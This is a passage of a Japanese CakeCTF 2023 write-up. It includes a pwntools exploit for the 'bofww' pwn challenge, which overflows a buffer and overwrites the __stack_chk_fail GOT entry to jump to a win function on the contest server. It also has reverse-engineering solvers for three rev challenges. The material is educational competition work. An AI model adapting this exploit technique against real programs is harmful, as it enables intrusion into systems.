01:0008│         0x7fffffffdb58 —▸ 0x7fffffffdc9c ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
02:0010│         0x7fffffffdb60 ◂— 0x0
03:0018│         0x7fffffffdb68 ◂— 0x100000000
04:0020│ rdx rsi 0x7fffffffdb70 ◂— 0x4141414141414141 ('AAAAAAAA')
... ↓            3 skipped
───────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────────────
 ► f 0         0x4013b4 input_person(int&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&)+164
   f 1 0x4141414141414141
   f 2 0x4141414141414141
   f 3 0x4141414141414141
   f 4 0x4141414141414141
   f 5 0x4141414141414141
   f 6 0x4141414141414141
   f 7 0x4141414141414141
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg>

よって、BoFで代入処理の第一引数を「任意のアドレス」、第二引数を「任意のデータ」にすることでAAWできます。また、セキュリティ機構を確認すると、Partial RELROかつCanary foundとなっているので__stack_chk_failのGOTを書き換えてwinに飛ばせば良さそうです。

$ checksec bofww
[*] '/home/miso/CakeCTF2023/bofww/bofww'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
from pwn import *

elf = ELF("./bofww")
debug = False

if debug:
    p = process("./bofww")
    gdb.attach(p, """
    b *0x4013b4
    c
    """)
else:
    p = remote("bofww.2023.cakectf.com", 9002)

offset = 304

payload = p64(elf.symbols["_Z3winv"])
payload += b'A' * (offset - len(payload))
payload += p64(elf.got["__stack_chk_fail"])
payload += b'A' * 64

p.sendlineafter(b'? ', payload)
p.sendlineafter(b'? ', b'1')
p.interactive()
$ python3 solve.py
[*] '/home/miso/CakeCTF2023/bofww/bofww'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to bofww.2023.cakectf.com on port 9002: Done
[*] Switching to interactive mode
$ cat /flag*
CakeCTF{n0w_try_w1th0ut_w1n_func710n:)}

[rev] nande

シンプルなフラグチェッカーnand.exeデバッグ情報nand.pdbが与えられます。

$ ./nand.exe CakeCTF{hogehoge}
Wrong...

IDAでデコンパイルしてmain関数を見ていきます。入力されたフラグが32文字であるかを確認し、1bitずつに分解してInputSequenceに代入しています。CIRCUIT関数にInputSequenceを渡して得られたOutputSequenceがAnserSequenceと一致していれば正しいフラグであることがわかります。

t __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned __int8 is_correct; // [rsp+20h] [rbp-38h]
  unsigned __int64 j; // [rsp+28h] [rbp-30h]
  unsigned __int64 i; // [rsp+30h] [rbp-28h]
  unsigned __int64 k; // [rsp+38h] [rbp-20h]
  char *flag; // [rsp+40h] [rbp-18h]

  if ( argc >= 2 )
  {
    flag = (char *)argv[1];
    if ( strlen(flag) != 32 )
      goto $wrong;
    for ( i = 0i64; i < 0x20; ++i )
    {
      for ( j = 0i64; j < 8; ++j )
        InputSequence[8 * i + j] = (flag[i] >> j) & 1;
    }
    CIRCUIT(InputSequence, OutputSequence);
    is_correct = 1;
    for ( k = 0i64; k < 0x100; ++k )
      is_correct &= OutputSequence[k] == AnswerSequence[k];
    if ( is_correct )
    {
      puts(string);
      return 0;
    }
    else
    {
$wrong:
      puts(aWrong);
      return 1;
    }
  }
  else
  {
    printf("Usage: %s <flag>\n", *argv);
    return 1;
  }
}

CIRCUIT関数ではMODULE関数を利用して第一引数のバイト列を更新を行います。MODULE関数は第一引数と第二引数でxorをとり、第三引数に代入する関数です。

void __fastcall CIRCUIT(unsigned __int8 *in, unsigned __int8 *out)
{
  unsigned __int64 i; // [rsp+20h] [rbp-28h]
  unsigned __int64 rnd; // [rsp+28h] [rbp-20h]

  for ( rnd = 0i64; rnd < 0x1234; ++rnd )
  {
    for ( i = 0i64; i < 0xFF; ++i )
      MODULE(in[i], in[i + 1], &out[i]);
    MODULE(in[i], 1u, &out[i]);
    memmove(in, out, 0x100ui64);
  }
}

以上のことから、AnswerSequenceにCIRCUIT関数の逆の処理を行えばよいことがわかります。

import copy

def MODULE(a, b):
    t1 = ~(a & b)
    t2 = ~(a & t1)
    t3 = ~(b & t1)
    return ~(t2 & t3)

def CIRCUIT(x):
    y = [0 for _ in range(len(x))]
    for _ in range(0x1234):
        i = 0
        while i < 0xff:
            y[i] = x[i] ^ x[i+1]
            i += 1
        y[i] ^= 1
        x = y
    return y

AnswerSequence = [1,1,1,1,1,0,0,1,1,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,1,1,1,1,0,0,1,1,1,1,0,1,0,1,1,1,0,0,0,1,1,0,1,1,1,1,0,1,0,1,0,0,1,0,1,0,1,1,0,1,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,1,0,1,1,1,0,0,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,0,0,1,0,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,1,1,1,1,1,1,1,0,1,0,1,0,0,1,1,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,0,1,1,0,1,1,0,1,0,1,0,1,0,0,1,1,1,1,1,0,1,1,0,1,1,1,0,0,1,0,1,1,0,1,1,0,0,1,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0]

def solve():
    in_arr = [0 for _ in range(0x100)]
    out = copy.copy(AnswerSequence)
    for _ in range(0x1234):
        in_arr[0xff] = out[0xff] ^ 1
        for i in range(0xff-1, -1, -1):
            in_arr[i] = in_arr[i+1] ^ out[i]
        out = copy.copy(in_arr)

    flag = [0 for _ in range(0x20)]
    for i in range(0x20):
        for j in range(8):
            flag[i] |= in_arr[i*8 + j] << j
    print("".join(chr(x) for x in flag))

def enc(s):
    if len(s) != 32:
        raise ValueError

    ret = [0 for _ in range(0x100)]
    for i, c in enumerate(s):
        for j in range(8):
            ret[i*8+j] = (ord(c) >> j) & 1
    return ret

solve()
$ python3 solve.py
CakeCTF{h2fsCHAo3xOsBZefcWudTa4}

[rev] Cake Puzzle

以下のルールのパズルで遊べるプログラムchalが与えられます。

  • 全てのマスが以下の条件を満たすとき、フラグが表示される
    • あるマスに書かれた値は右隣と下のマスの値より小さい
  • 値が0となっているマスは、上下左右のマスと入れ替えられる

各マスの初期値は次の通りです。

   +----------+----------+----------+----------+
   |0x445856DB|0x4C230304|0x0022449F|0x671A96B7|
   +----------+----------+----------+----------+
   |0x6C5644F7|0x7FF46287|0x6EE9C829|0x5CDA2E72|
   +----------+----------+----------+----------+
   |0x00000000|0x698E88C9|0x33E65A4F|0x50CC5C54|
   +----------+----------+----------+----------+
   |0x1349831A|0x53C88F74|0x25858AB9|0x72F976D8|
   +----------+----------+----------+----------+

15パズルと非常に似ているので15パズルのsolverを使えば解けそうです。GitHubで適当にsolverを探すと、次のレポジトリが見つかりました。

github.com

このsolverを今回の問題を解けるように一部変更して実行すると、正解の操作が得られました。

# solve_puzzle.py
from puzzle import Puzzle
from algorithms import AStar, BreadthFirst
from solver import PuzzleSolver

p = Puzzle([[5,6,1,10],[12,15,13,9],[0,11,4,7],[2,8,3,14]])
puzzle_solver = PuzzleSolver(AStar(p))
puzzle_solver.run()
puzzle_solver.print_performance()
puzzle_solver.print_solution()
$ python3 solve_puzzle.py
A* - Expanded Nodes: 10081
Solution:
UURRDLLURRRDLDLDLURURULLDRDRUULLDRURDLLURRRDDLLUULDRDDLUURDLDRUULURRDLULDRDLUURDRULLDDRRDRULLULURDDLURULDDRURRDLURULDDRULLULDRURDLLURDRULLDRURRDLLLURRDRULLDDDRRULDLUUUL
# solve.py
from pwn import *

ans = "UURRDLLURRRDLDLDLURURULLDRDRUULLDRURDLLURRRDDLLUULDRDDLUURDLDRUULURRDLULDRDLUURDRULLDDRRDRULLULURDDLURULDDRURRDLURULDDRULLULDRURDLLURDRULLDRURRDLLLURRDRULLDDDRRULDLUUUL"

#p=process("./chal")
p = remote("others.2023.cakectf.com", 14001)

for c in ans:
    p.sendlineafter(b'> ', c.encode())
p.interactive()
$ python3 solve.py
[+] Opening connection to others.2023.cakectf.com on port 14001: Done
[*] Switching to interactive mode
CakeCTF{wh0_at3_a_missing_pi3c3_0f_a_cak3}

[rev] imgchk

文字列の代わりにpngファイルを用いたフラグチェッカーimgchkが与えられます。

フラグのチェックはcheck_flag関数で行っているようですが、「ジャンプ先のアドレスをスタックに積んでretnで飛ぶ」という処理を行っているため、うまくデコンパイルできていません。

__int64 check_flag()
{
  return Cake16();
}

__int64 __fastcall Cake16()
{
  __int64 v0; // rbp

  *(_QWORD *)(v0 - 88) = fopen(*(const char **)(v0 - 136), "rb");
  if ( *(_QWORD *)(v0 - 88) )
    JUMPOUT(0x4429LL);
  return Cake338();
}

アセンブリコードを読んで手動デコンパイルすると、以下のコードとほぼ同等の処理を実行していることが分かります。

#include <png.h>

void check_flag() {
    FILE *fp;
    png_structp png;
    png_infop info;
    png_byte ctype;
    png_byte bdepth;
    png_size_t rowbytes;
    int width, height;
    void **imgbuf;
    int ng;
    unsigned char buf[3];
    unsigned char hashbuf[0x10];

    if ((fp = fopen(filename, "rb")) == NULL) {
        return 1;
    }

    if ((png = png_create_read_struct("1.6.37", 0, 0, 0)) == NULL) {
        return 1;
    }

    if ((info = png_create_info_struct(png)) == NULL) {
        return 1;
    }

    png_init_io(png, fp);
    png_read_info(png, info);

    width = png_get_image_width(png, info);
    height = png_get_image_height(png, info);
    if (width != 0x1e0 || height != 0x14) {
        return 1;
    }

    ctype = png_get_color_type(png, info);
    bdepth = png_get_bit_depth(png, info);
    // gray scale only
    if (ctype != PNG_COLOR_TYPE_GRAY || bdepth != 1) {
        return 1;
    }

    if ((buf = calloc(height, 8)) == NULL) {
        return 1;
    }

    for (int i = 0; i < height; i++) {
        rowbytes = png_get_rowbytes(png, info);
        imgbuf[i] = malloc(rowbytes);
    }
    png_read_image(png, imgbuf);

    ng = 0;
    for (int x = 0; i < width; i++) {
        memset(buf, 0, 3);
        for (int y = 0; j < height; j++) {
            // extract bit (x, y)
            tmp1 = imgbuf[j][(i+7) >> 3]
            tmp2 = tmp1 >> (7 - (x & 7));
            tmp3 = tmp2 & 1;
            buf[y >> 3] |= (tmp3 << (y & 7))
        }
        MD5(buf, 3, hashbuf);
        if (memcmp(hashbuf, answer[x], 0x10) != 0) {
            ng |= 1;
        }
    }
    return ng;
}

answerには、各列に対応するMD5ハッシュへのポインタが格納されています。

MD5ハッシュの値から上のコード中のbufを求め、それに対応するビット列を並べることで目的の画像を得られそうです。

import hashlib
import itertools
from digests import hexdigests
from PIL import Image, ImageDraw

im = Image.new('1', (0x1e0, 0x14))
draw = ImageDraw.Draw(im)

def solve_col(inv_md5):
    for p in itertools.product(range(2), repeat=20):
        buf = [0, 0, 0]
        x = 0
        for y in range(0x14):
            tmp3 = p[y]
            buf[y>>3] |= (tmp3 << (y & 7))
        if buf == inv_md5:
            return p

def reverse_md5(target):
    for i in range(256):
        for j in range(256):
            for k in range(16):
                x = bytes([i, j, k])
                if hashlib.md5(x).hexdigest() == target:
                    return [i, j, k]

hash_dict = {}
for x, digest in enumerate(hexdigests):
    if digest not in hash_dict:
        rows = solve_col(reverse_md5(digest))
        hash_dict[digest] = tuple(rows)
        print(f"[+] reverse md5: {digest} = {hash_dict[digest]}")
    rows = hash_dict[digest]
    for y in range(0x14):
        im.putpixel((x, y), rows[y])

im.save("flag.png")
$ python3 solve.py
[+] reverse md5: 915a750f321d9fc59fa91f57c43c9bca = (1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1)
[+] reverse md5: 0ff3f41dc6107e06d2800e3d51e48284 = (1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1)
...
[+] reverse md5: af6e98ed4fb1042577ede6933ddd23cd = (1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1)
[+] reverse md5: f52cac173903d10f0ebaadc02f9795ac = (1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1)

実行が完了するとflag.pngが生成されます。